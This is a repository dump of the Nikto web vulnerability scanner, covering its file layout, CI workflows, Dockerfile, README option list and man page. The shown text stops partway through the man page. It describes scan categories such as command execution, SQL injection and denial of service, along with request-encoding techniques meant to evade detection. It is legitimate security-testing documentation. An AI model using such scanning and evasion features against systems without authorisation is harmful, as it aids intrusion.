Repository: sullo/nikto Branch: main Commit: 29836d5db6a4 Files: 80 Total size: 2.1 MB Directory structure: gitextract_pasmfpt5/ ├── .dockerignore ├── .editorconfig ├── .gitattributes ├── .github/ │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── FeatureRequest.md │ │ ├── TestRequest.md │ │ ├── bug_report.md │ │ ├── config.yml │ │ └── false_positive_negative_report.md │ └── workflows/ │ ├── docker-build-push.yaml │ └── update-worker-manifest.yml ├── .gitignore ├── COPYING ├── COPYING.LibWhisker ├── Dockerfile ├── README.md ├── documentation/ │ ├── manpage.xml │ ├── nikto.1 │ ├── nikto_schema_mysql.sql │ ├── nikto_schema_postgresql.sql │ └── perltidyrc └── program/ ├── .timestamp ├── databases/ │ ├── db_404_strings │ ├── db_content_search │ ├── db_dictionary │ ├── db_favicon │ ├── db_headers_common │ ├── db_headers_suggested │ ├── db_multiple_index │ ├── db_options │ ├── db_outdated │ ├── db_realms │ ├── db_server_msgs │ ├── db_tests │ ├── db_useragents │ └── db_variables ├── nikto.conf.default ├── nikto.pl ├── plugins/ │ ├── LW2.pm │ ├── nikto_apacheusers.plugin │ ├── nikto_auth.plugin │ ├── nikto_cgi.plugin │ ├── nikto_content_search.plugin │ ├── nikto_cookies.plugin │ ├── nikto_core.plugin │ ├── nikto_dictionary_attack.plugin │ ├── nikto_favicon.plugin │ ├── nikto_fileops.plugin │ ├── nikto_headers.plugin │ ├── nikto_ms10_070.plugin │ ├── nikto_msgs.plugin │ ├── nikto_multiple_index.plugin │ ├── nikto_negotiate.plugin │ ├── nikto_options.plugin │ ├── nikto_optionsbleed.plugin │ ├── nikto_outdated.plugin │ ├── nikto_paths.plugin │ ├── nikto_put_del_test.plugin │ ├── nikto_report_csv.plugin │ ├── nikto_report_html.plugin │ ├── nikto_report_json.plugin │ ├── nikto_report_sqlg.plugin │ ├── nikto_report_text.plugin │ ├── nikto_report_xml.plugin │ ├── nikto_robots.plugin │ ├── nikto_shellshock.plugin │ ├── nikto_siebel.plugin │ ├── nikto_sitefiles.plugin │ ├── nikto_springboot.plugin │ ├── nikto_ssl.plugin │ └── nikto_tests.plugin ├── templates/ │ ├── htm_close.tmpl │ ├── htm_end.tmpl │ ├── htm_host_head.tmpl │ ├── htm_host_item.tmpl │ ├── htm_start.tmpl │ ├── htm_summary.tmpl │ └── nikto.dtd └── utils/ ├── nikto-bulk.sh └── replay.pl ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ .git .gitignore .gitattributes .editorconfig .github COPYING devdocs documentation README.md ================================================ FILE: .editorconfig ================================================ root = true [*] charset = utf-8 end_of_line = lf trim_trailing_whitespace = true insert_final_newline = true [*.{pl,plugin}] indent_style = space indent_size = 4 [*.{xml,tmpl}] indent_style = space indent_size = 2 ================================================ FILE: .gitattributes ================================================ * text=auto eol=lf ================================================ FILE: .github/FUNDING.yml ================================================ patreon: sullo ================================================ FILE: .github/ISSUE_TEMPLATE/FeatureRequest.md ================================================ --- name: Feature Request about: Request a new feature for Nikto title: 'Feature: ' labels: 'enhancement' assignees: '' --- ### Description ### Links/Info ================================================ FILE: .github/ISSUE_TEMPLATE/TestRequest.md ================================================ --- name: New Test about: Reqeust a new test in Nikto title: 'Test Request: ' labels: 'check' assignees: '' --- ### Description ### Path ### Matching text (in response) ### Links/Info ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug Report about: Report an issue found in Nikto title: 'Bug: ' labels: bug assignees: '' --- ### Expected behavior ### Actual behavior ### Steps to reproduce 1. 2. 3. ### Nikto version Run: ``` ./nikto.pl -Version ``` and paste the output here. ### Further technical info E.g. you can obtain Nikto debug output by running `-D D` and redirecting to a file. You may also scrub the output of hostnames and IPs by specifying `-D DS`. ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ blank_issues_enabled: false ================================================ FILE: .github/ISSUE_TEMPLATE/false_positive_negative_report.md ================================================ --- name: False positive / negative Report about: Report a false positive / negative found by Nikto title: 'False Positive/Negative: ' labels: bug assignees: '' --- ### Output of suspected false positive / negative Post any useful information like the ID of the test causing the false positive. ### Debug output Run: ``` ./nikto.pl -host targethost -Save false_positive ``` This saves all positive responses to a new `false_positive` directory. Afterwards look for the related ID of the false positive / negative and paste it below. ================================================ FILE: .github/workflows/docker-build-push.yaml ================================================ name: Build and Push Docker Image on: push: branches: - master permissions: contents: read packages: write jobs: build-and-push: runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v4 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Log in to GitHub Container Registry uses: docker/login-action@v3 with: registry: ghcr.io username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Extract metadata for Docker id: meta uses: docker/metadata-action@v5 with: images: ghcr.io/${{ github.repository_owner }}/nikto tags: | latest type=ref,event=branch type=sha - name: Build and push Docker image uses: docker/build-push-action@v5 with: context: . file: Dockerfile push: true platforms: linux/amd64,linux/arm64 tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} ================================================ FILE: .github/workflows/update-worker-manifest.yml ================================================ name: Update build timestamp + manifest on: push: branches: ["main"] # Prevent infinite loops: the commit that only updates program/.timestamp # will NOT trigger this workflow. paths-ignore: - "program/.timestamp" permissions: contents: write jobs: update: # Extra safety: don't run if somehow triggered by the bot anyway if: github.actor != 'github-actions[bot]' runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v4 with: fetch-depth: 1 - name: Compute epoch + parse Nikto version id: meta shell: bash run: | set -euo pipefail EPOCH="$(git log -1 --format=%ct)" echo "epoch=$EPOCH" >> "$GITHUB_OUTPUT" # Parse Nikto version from: $VARIABLES{'version'} = "2.6.0"; VERSION="$(perl -ne 'if(/\$VARIABLES\{\s*["'\''"]version["'\''"]\s*\}\s*=\s*["'\''"]([^"'\''"]+)["'\''"]\s*;/){print $1; exit}' program/nikto.pl)" if [ -z "${VERSION:-}" ]; then echo "Failed to parse version from program/nikto.pl (\$VARIABLES{version})." >&2 exit 1 fi echo "version=$VERSION" >> "$GITHUB_OUTPUT" - name: Update program/.timestamp shell: bash run: | set -euo pipefail mkdir -p program echo "${{ steps.meta.outputs.epoch }}" > program/.timestamp - name: Commit and push program/.timestamp if changed shell: bash run: | set -euo pipefail # Stage first so new files are included git add program/.timestamp # If staging produced no changes, exit if git diff --cached --quiet; then echo "program/.timestamp unchanged" exit 0 fi git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" git commit -m "chore: update program/.timestamp [skip ci]" git push - name: Update Cloudflare Worker manifest shell: bash env: UPDATE_URL: ${{ secrets.CF_WORKER_UPDATE_URL }} UPDATE_TOKEN: ${{ secrets.CF_WORKER_UPDATE_TOKEN }} VERSION: ${{ steps.meta.outputs.version }} EPOCH: ${{ steps.meta.outputs.epoch }} run: | set -euo pipefail if [ -z "${UPDATE_URL:-}" ] || [ -z "${UPDATE_TOKEN:-}" ]; then echo "Missing CF_WORKER_UPDATE_URL or CF_WORKER_UPDATE_TOKEN secrets." >&2 exit 1 fi curl -fsS -X POST "$UPDATE_URL" \ -H "Authorization: Bearer $UPDATE_TOKEN" \ -H "Content-Type: application/json" \ -d "{\"version\":\"$VERSION\",\"epoch\":$EPOCH}" ================================================ FILE: .gitignore ================================================ .DS_Store tests/udb_* nikto.conf .cursor ================================================ FILE: COPYING ================================================ ########################################################################################## # Copyright (C) 2001–2026 Chris Sullo. All rights reserved. # # This license notice applies to: Nikto's code only # # See COPYING.libwhisker for LibWhisker licensing information. # # Database files are NOT licensed under the GPL and may only be distributed as part of # the official Nikto package or installer, for use exclusively with Nikto. # # For full licensing terms and commercial use policies, visit: # https://cirt.net/Nikto-Licensing ########################################################################################## This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License version 3, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. The full license text is available at: https://www.gnu.org/licenses/gpl-3.0.txt ================================================ FILE: COPYING.LibWhisker ================================================ LW2 Copyright (c) 2009, Jeff Forristal (wiretrip.net) All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: Dockerfile ================================================ FROM alpine:3.23.3 LABEL version="2.6.0" \ author="Author Paul Sec (https://github.com/PaulSec), Nikto User https://github.com/drwetter" \ docker_build="docker build -t sullo/nikto:2.6.0 ." \ docker_run_basic="docker run --rm sullo/nikto:2.6.0 -h http://www.example.com" \ docker_run_advanced="docker run --rm -v $(pwd):/tmp sullo/nikto:2.6.0 -h http://www.example.com -o /tmp/out.json" RUN echo 'Installing packages for Nikto.' && \ apk add --no-cache \ perl \ perl-net-ssleay \ perl-json \ perl-io-socket-ssl \ perl-xml-writer \ perl-mime-base64 \ perl-xml-libxml RUN echo 'Creating the nikto group.' && \ addgroup -S nikto && \ echo 'Creating the nikto user.' && \ adduser -S -G nikto -g "Nikto user" -s /bin/sh nikto ENV PATH=${PATH}:/opt/nikto USER nikto COPY --chown=nikto:nikto ["program/", "/opt/nikto"] ENTRYPOINT ["/opt/nikto/nikto.pl"] ================================================ FILE: README.md ================================================ nikto ===== [![alt text](https://cirt.net/wp-content/uploads/2025/12/patreon.png "Become a patron of Nikto!")](https://www.patreon.com/sullo) Nikto web server scanner - https://cirt.net/Nikto2 Full documentation - https://github.com/sullo/nikto/wiki Run normally: ~~~ git clone https://github.com/sullo/nikto # Main script is in program/ cd nikto/program # Run using the shebang interpreter ./nikto.pl -h http://www.example.com # Run using perl (if you forget to chmod) perl nikto.pl -h http://www.example.com ~~~ Run as a Docker container from ghcr.io: `docker pull ghcr.io/sullo/nikto:latest` Run as a Docker container from Dockerfile: ~~~bash git clone https://github.com/sullo/nikto.git cd nikto docker build -t sullo/nikto . # Call it without arguments to display the full help docker run --rm sullo/nikto # Basic usage docker run --rm sullo/nikto -h http://www.example.com # To save the report in a specific format, mount /tmp as a volume: docker run --rm -v $(pwd):/tmp sullo/nikto -h http://www.example.com -o /tmp/out.json ~~~ Basic usage: ``` Options: -Add-header Add HTTP headers (can be used multiple times, one per header pair) -ask+ Whether to ask about submitting updates yes Ask about each (default) no Don't ask, don't send auto Don't ask, just send -check6 Check if IPv6 is working (connects to ipv6.google.com or value set in nikto.conf) -Cgidirs+ Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/" -config+ Use this config file -Display+ Turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug output E Display all HTTP errors P Print progress to STDOUT S Scrub output of IPs and hostnames V Verbose output -dbcheck Check database and other key files for syntax errors -evasion+ Encoding technique: 1 Random URI encoding (non-UTF8) 2 Directory self-reference (/./) 3 Premature URL ending 4 Prepend long random string 5 Fake parameter 6 TAB as request spacer 7 Change the case of the URL 8 Use Windows directory separator (\) A Use a carriage return (0x0d) as a request spacer B Use binary value 0x0b as a request spacer -followredirects Follow 3xx redirects to new location -Format+ Save file (-o) format. Can specify multiple formats separated by commas (e.g., htm,sql,txt,json,xml): csv Comma-separated-value json JSON Format htm HTML Format sql Generic SQL (see docs for schema) sqld SQL Direct (directly inserts into MySQL/PostgreSQL database) txt Plain text xml XML Format (if not specified the format will be taken from the file extension passed to -output) Note: sqld format requires DB_TYPE, DB_HOST, DB_PORT, DB_NAME in nikto.conf and NIKTO_DB_USER, NIKTO_DB_PASS environment variables -Help This help information -host+ Target host/URL -id+ Host authentication to use, format is id:pass or id:pass:realm -ipv4 IPv4 Only -ipv6 IPv6 Only -key+ Client certificate key file -list-plugins List all available plugins, perform no testing -maxtime+ Maximum testing time per host (e.g., 1h, 60m, 3600s) -mutate+ Guess additional file names: 1 Test all files with all root directories 2 Guess for password file names 3 Enumerate user names via Apache (/~user type requests) 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) 5 Attempt to brute force sub-domain names, assume that the host name is the parent domain 6 Attempt to guess directory names from the supplied dictionary file -mutate-options Provide information for mutates -nocheck Don't check for updates on startup -nocookies Do not use cookies from responses in requests (cookies are stored and sent by default) -nointeractive Disables interactive features -nolookup Disables DNS lookups -noslash Strip trailing slash from URL (e.g., '/admin/' to '/admin') -nossl Disables the use of SSL -no404 Disables nikto attempting to guess a 404 page -Option Over-ride an option in nikto.conf, can be issued multiple times -output+ Write output to this file ('.' for auto-name) -Pause+ Pause between tests (seconds) -Platform+ Platform of target (nix, win, all) -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -RSAcert+ Client certificate file -root+ Prepend root value to all requests, format is /directory -Save Save positive responses to this directory ('.' for auto-name) -ssl Force ssl mode on port -Tuning+ Scan tuning: 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection 0 File Upload a Authentication Bypass b Software Identification c Remote Source Inclusion d WebService e Administrative Console x Reverse Tuning Options (i.e., include all except specified) -timeout+ Timeout for requests (default 10 seconds) -Userdbs Load only user databases, not the standard databases all Disable standard dbs and load only user dbs tests Disable only db_tests and load udb_tests -useragent Force User-Agent instead of pulling from database -url+ Target host/URL (alias of -host) -useproxy Use the proxy defined in nikto.conf, or argument http://server:port -Version Print plugin and database versions -vhost+ Virtual host (for Host header) -404code Ignore these HTTP codes as negative responses (always). Format is "302,301". -404string Ignore this string in response body content as negative response (always). Can be a regular expression. + requires a value ``` # Nikto DSL Matchers Nikto's test database supports a mini-DSL for matching responses. The following matchers are supported: - `BODY:` and `!BODY:` — Match or exclude content in the response body. - `HEADER:` and `!HEADER:` — Match or exclude content in HTTP headers. - `COOKIE:` and `!COOKIE:` — Match or exclude content in HTTP cookies. (NEW) - `CODE:` and `!CODE:` — Match or exclude HTTP status codes. You can combine multiple matchers with `&&` (AND). Example: BODY:login&&!BODY:logout&&HEADER:X-Powered-By&&COOKIE:sessionid This will match if the response body contains "login", does not contain "logout", the headers include "X-Powered-By", and a cookie named "sessionid" is present. License ======= Copyright (C) 2001–2026 Chris Sullo. All rights reserved. This license notice applies to: Nikto's code only See [COPYING.LibWhisker](COPYING.LibWhisker) for LibWhisker licensing information. Database files are NOT licensed under the GPL and may only be distributed as part of the official Nikto package or installer, for use exclusively with Nikto. For full licensing terms and commercial use policies, visit: https://cirt.net/Nikto-Licensing This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License version 3, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. The full license text is available at: https://www.gnu.org/licenses/gpl-3.0.txt See [COPYING](COPYING) for the complete license notice. ================================================ FILE: documentation/manpage.xml ================================================ ]> &product; &product; 1 2.5.0 http://www.cirt.net/ Vulnerability Scanner nikto.pl Scan web server for known vulnerabilities nikto.pl options Description Nikto is an Open Source web server scanner which performs comprehensive tests against web servers for multiple items that are generally considered dangerous. It checks for: Server and software misconfigurations Default files and programs Insecure files and programs Outdated servers and programs Dangerous files Other problems Nikto is built on LibWhisker2 (LW2) and can run on any platform which has a Perl environment. It supports SSL, proxies, host authentication, attack encoding and more. It can be updated automatically from the command-line, and supports the optional submission of updated version data back to the maintainers. Options yes|no|auto Whether to ask about submitting updates. Options: yes (ask about each), no (don't ask, don't send), auto (don't ask, just send). header:value Add HTTP headers (can be used multiple times, one per header pair). Check if IPv6 is working (connects to ipv6.google.com or value set in nikto.conf). dirs Scan these CGI directories. Special words "none" or "all" may be used. A literal value for a CGI directory such as "/cgi-test/" may be specified (must include trailing slash). file Use this config file instead of the default nikto.conf. Check database and other key files for syntax errors. options Turn on/off display outputs: 1 (Show redirects), 2 (Show cookies received), 3 (Show all 200/OK responses), 4 (Show URLs which require authentication), D (Debug output), E (Display all HTTP errors), P (Print progress to STDOUT), S (Scrub output of IPs and hostnames), V (Verbose output). technique Encoding technique: 1 (Random URI encoding), 2 (Directory self-reference), 3 (Premature URL ending), 4 (Prepend long random string), 5 (Fake parameter), 6 (TAB as request spacer), 7 (Change the case of the URL), 8 (Use Windows directory separator), A (Use carriage return as request spacer), B (Use binary value 0x0b as request spacer). Follow 3xx redirects to new location. format Save file format: csv (Comma-separated-value), json (JSON Format), htm (HTML Format), sql (Generic SQL, see docs for schema), sqld (SQL Direct, directly inserts into MySQL/PostgreSQL database), txt (Plain text), xml (XML Format). Multiple formats can be specified as a comma-separated list. If not specified, the format will be taken from the file extension passed to -output. Note: sqld format requires DB_TYPE, DB_HOST, DB_PORT, DB_NAME in nikto.conf and NIKTO_DB_USER, NIKTO_DB_PASS environment variables. Display extended help information. target Host(s) to target. Can be an IP address, hostname or text file of hosts. A single dash (-) maybe used for stdout. Can also parse nmap -oG style output. id:pass[:realm] ID and password to use for host Basic host authentication. Format is "id:password" or "id:password:realm". IPv4 Only. IPv6 Only. file Client certificate key file. List all available plugins, perform no testing. time Maximum testing time per host (e.g., 1h, 60m, 3600s). options Guess additional file names: 1 (Test all files with all root directories), 2 (Guess for password file names), 3 (Enumerate user names via Apache), 4 (Enumerate user names via cgiwrap), 6 (Attempt to guess directory names from dictionary file). options Provide information for mutates. Disables nikto attempting to guess a 404 page. Do not use cookies from responses in requests. Disable interactive features. Do not perform name lookups on IP addresses. Strip trailing slash from URL (e.g., '/admin/' to '/admin'). Do not use SSL to connect to the server. name=value Over-ride an option in nikto.conf, can be issued multiple times. file Write output to the file specified ('.' for auto-name). The format used will be taken from the file extension. This can be over-ridden by using the -Format option. seconds Seconds (integer or floating point) to delay between each test. platform Platform of target: nix (Unix/Linux), win (Windows), or all (both). list List of plugins to run (default: ALL). ports TCP port(s) to target. To test more than one port on the same host, specify the list of ports. Ports can be specified as a range (i.e., 80-90), or as a comma-delimited list, (i.e., 80,88,90). If not specified, port 80 is used. file Client certificate file. path Prepend root value to all requests, format is /directory. directory Save positive responses to this directory ('.' for auto-name). Only test SSL on the ports specified. Using this option will dramatically speed up requests to HTTPS ports, since otherwise the HTTP request will have to timeout first. seconds Seconds to wait before timing out a request. Default timeout is 10 seconds. options Tuning options will control the test that Nikto will use against a target. By default, if any options are specified, only those tests will be performed. If the "x" option is used, it will reverse the logic and exclude only those tests. Use the reference number or letter to specify the type, multiple may be used: 0 - File Upload 1 - Interesting File / Seen in logs 2 - Misconfiguration / Default File 3 - Information Disclosure 4 - Injection (XSS/Script/HTML) 5 - Remote File Retrieval - Inside Web Root 6 - Denial of Service 7 - Remote File Retrieval - Server Wide 8 - Command Execution / Remote Shell 9 - SQL Injection a - Authentication Bypass b - Software Identification c - Remote Source Inclusion d - WebService e - Administrative Console x - Reverse Tuning Options (i.e., include all except specified) target Target host/URL (alias of -host). type Load only user databases, not the standard databases. Options: all (Disable standard dbs and load only user dbs), tests (Disable only db_tests and load udb_tests). string Over-rides the default useragent. proxy Use the HTTP proxy defined in the configuration file, or given as argument in the format http://server:port. Display the Nikto software, plugin and database versions. hostname Specify the Host header to be sent to the target. codes Ignore these HTTP codes as negative responses (always). Format is "302,301". string Ignore this string in response body content as negative response (always). Can be a regular expression. DSL Matchers Nikto's test database supports a mini-DSL for matching responses. The following matchers are supported: BODY: and !BODY: — Match or exclude content in the response body. HEADER: and !HEADER: — Match or exclude content in HTTP headers. COOKIE: and !COOKIE: — Match or exclude content in HTTP cookies. (NEW) CODE: and !CODE: — Match or exclude HTTP status codes. You can combine multiple matchers with && (AND). Example: BODY:login&&!BODY:logout&&HEADER:X-Powered-By&&COOKIE:sessionid This will match if the response body contains "login", does not contain "logout", the headers include "X-Powered-By", and a cookie named "sessionid" is present. Files nikto.conf The Nikto configuration file. This sets Nikto's global options. Several nikto.conf files may exist and are parsed in the below order. As each configuration file is loaded is supersedes any previously set configuration: System wide (e.g. /etc/nikto.conf) Home directory (e.g. $HOME/nikto.conf) Current directory (e.g. ./nikto.conf) ${NIKTO_DIR}/databases/db* Database files that nikto uses to check for vulnerabilities and issues within the web server. ${NIKTO_DIR}/plugins/*.plugin All nikto's plugins exist here. Nikto itself is just a wrapper script to manage CLI and pass through to the plugins. ${NIKTO_DIR}/templates Contains the templates for nikto's output formats. Bugs The current features are not supported: SOCKS Proxies Authors Nikto is written and maintained by Chris Sullo and David Lodge. See the main documentation for other contributors. All code is Copyright CIRT, Inc., except LibWhisker which is Copyright (c) 2009, Jeff Forristal (wiretrip.net). Other portions of code may be (C) as specified. See also Nikto Homepage ================================================ FILE: documentation/nikto.1 ================================================ '\" t .\" Title: nikto.pl .\" Author: [see the "Authors" section] .\" Generator: DocBook XSL Stylesheets vsnapshot .\" Date: 12/24/2025 .\" Manual: Vulnerability Scanner .\" Source: http://www.cirt.net/ 2.5.0 .\" Language: English .\" .TH "NIKTO\&.PL" "1" "12/24/2025" "http://www\&.cirt\&.net/ 2\&.5" "Vulnerability Scanner" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" nikto.pl \- Scan web server for known vulnerabilities .SH "SYNOPSIS" .HP \w'\fBnikto\&.pl\fR\ 'u \fBnikto\&.pl\fR [options...] .SH "DESCRIPTION" .PP Nikto is an Open Source web server scanner which performs comprehensive tests against web servers for multiple items that are generally considered dangerous\&. It checks for: .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Server and software misconfigurations .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Default files and programs .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Insecure files and programs .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Outdated servers and programs .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Dangerous files .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Other problems .RE .PP Nikto is built on LibWhisker2 (LW2) and can run on any platform which has a Perl environment\&. It supports SSL, proxies, host authentication, attack encoding and more\&. It can be updated automatically from the command\-line, and supports the optional submission of updated version data back to the maintainers\&. .SH "OPTIONS" .PP \fB\-ask\fR \fIyes|no|auto\fR .RS 4 Whether to ask about submitting updates\&. Options: yes (ask about each), no (don\*(Aqt ask, don\*(Aqt send), auto (don\*(Aqt ask, just send)\&. .RE .PP \fB\-Add\-header\fR \fIheader:value\fR .RS 4 Add HTTP headers (can be used multiple times, one per header pair)\&. .RE .PP \fB\-check6\fR .RS 4 Check if IPv6 is working (connects to ipv6\&.google\&.com or value set in nikto\&.conf)\&. .RE .PP \fB\-Cgidirs\fR \fIdirs\fR .RS 4 Scan these CGI directories\&. Special words "none" or "all" may be used\&. A literal value for a CGI directory such as "/cgi\-test/" may be specified (must include trailing slash)\&. .RE .PP \fB\-config\fR \fIfile\fR .RS 4 Use this config file instead of the default nikto\&.conf\&. .RE .PP \fB\-dbcheck\fR .RS 4 Check database and other key files for syntax errors\&. .RE .PP \fB\-Display\fR \fIoptions\fR .RS 4 Turn on/off display outputs: 1 (Show redirects), 2 (Show cookies received), 3 (Show all 200/OK responses), 4 (Show URLs which require authentication), D (Debug output), E (Display all HTTP errors), P (Print progress to STDOUT), S (Scrub output of IPs and hostnames), V (Verbose output)\&. .RE .PP \fB\-evasion\fR \fItechnique\fR .RS 4 Encoding technique: 1 (Random URI encoding), 2 (Directory self\-reference), 3 (Premature URL ending), 4 (Prepend long random string), 5 (Fake parameter), 6 (TAB as request spacer), 7 (Change the case of the URL), 8 (Use Windows directory separator), A (Use carriage return as request spacer), B (Use binary value 0x0b as request spacer)\&. .RE .PP \fB\-followredirects\fR .RS 4 Follow 3xx redirects to new location\&. .RE .PP \fB\-Format\fR \fIformat\fR .RS 4 Save file format: csv (Comma\-separated\-value), json (JSON Format), htm (HTML Format), sql (Generic SQL, see docs for schema), sqld (SQL Direct, directly inserts into MySQL/PostgreSQL database), txt (Plain text), xml (XML Format)\&. Multiple formats can be specified as a comma\-separated list\&. If not specified, the format will be taken from the file extension passed to \-output\&. Note: sqld format requires DB_TYPE, DB_HOST, DB_PORT, DB_NAME in nikto\&.conf and NIKTO_DB_USER, NIKTO_DB_PASS environment variables\&. .RE .PP \fB\-Help\fR .RS 4 Display extended help information\&. .RE .PP \fB\-host\fR \fItarget\fR .RS 4 Host(s) to target\&. Can be an IP address, hostname or text file of hosts\&. A single dash (\-) maybe used for stdout\&. Can also parse nmap \-oG style output\&. .RE .PP \fB\-id\fR \fIid:pass[:realm]\fR .RS 4 ID and password to use for host Basic host authentication\&. Format is "id:password" or "id:password:realm"\&. .RE .PP \fB\-ipv4\fR .RS 4 IPv4 Only\&. .RE .PP \fB\-ipv6\fR .RS 4 IPv6 Only\&. .RE .PP \fB\-key\fR \fIfile\fR .RS 4 Client certificate key file\&. .RE .PP \fB\-list\-plugins\fR .RS 4 List all available plugins, perform no testing\&. .RE .PP \fB\-maxtime\fR \fItime\fR .RS 4 Maximum testing time per host (e\&.g\&., 1h, 60m, 3600s)\&. .RE .PP \fB\-mutate\fR \fIoptions\fR .RS 4 Guess additional file names: 1 (Test all files with all root directories), 2 (Guess for password file names), 3 (Enumerate user names via Apache), 4 (Enumerate user names via cgiwrap), 6 (Attempt to guess directory names from dictionary file)\&. .RE .PP \fB\-mutate\-options\fR \fIoptions\fR .RS 4 Provide information for mutates\&. .RE .PP \fB\-no404\fR .RS 4 Disables nikto attempting to guess a 404 page\&. .RE .PP \fB\-nocookies\fR .RS 4 Do not use cookies from responses in requests\&. .RE .PP \fB\-nointeractive\fR .RS 4 Disable interactive features\&. .RE .PP \fB\-nolookup\fR .RS 4 Do not perform name lookups on IP addresses\&. .RE .PP \fB\-noslash\fR .RS 4 Strip trailing slash from URL (e\&.g\&., \*(Aq/admin/\*(Aq to \*(Aq/admin\*(Aq)\&. .RE .PP \fB\-nossl\fR .RS 4 Do not use SSL to connect to the server\&. .RE .PP \fB\-Option\fR \fIname=value\fR .RS 4 Over\-ride an option in nikto\&.conf, can be issued multiple times\&. .RE .PP \fB\-output\fR \fIfile\fR .RS 4 Write output to the file specified (\*(Aq\&.\*(Aq for auto\-name)\&. The format used will be taken from the file extension\&. This can be over\-ridden by using the \-Format option\&. .RE .PP \fB\-Pause\fR \fIseconds\fR .RS 4 Seconds (integer or floating point) to delay between each test\&. .RE .PP \fB\-Platform\fR \fIplatform\fR .RS 4 Platform of target: nix (Unix/Linux), win (Windows), or all (both)\&. .RE .PP \fB\-Plugins\fR \fIlist\fR .RS 4 List of plugins to run (default: ALL)\&. .RE .PP \fB\-port\fR \fIports\fR .RS 4 TCP port(s) to target\&. To test more than one port on the same host, specify the list of ports\&. Ports can be specified as a range (i\&.e\&., 80\-90), or as a comma\-delimited list, (i\&.e\&., 80,88,90)\&. If not specified, port 80 is used\&. .RE .PP \fB\-RSAcert\fR \fIfile\fR .RS 4 Client certificate file\&. .RE .PP \fB\-root\fR \fIpath\fR .RS 4 Prepend root value to all requests, format is /directory\&. .RE .PP \fB\-Save\fR \fIdirectory\fR .RS 4 Save positive responses to this directory (\*(Aq\&.\*(Aq for auto\-name)\&. .RE .PP \fB\-ssl\fR .RS 4 Only test SSL on the ports specified\&. Using this option will dramatically speed up requests to HTTPS ports, since otherwise the HTTP request will have to timeout first\&. .RE .PP \fB\-timeout\fR \fIseconds\fR .RS 4 Seconds to wait before timing out a request\&. Default timeout is 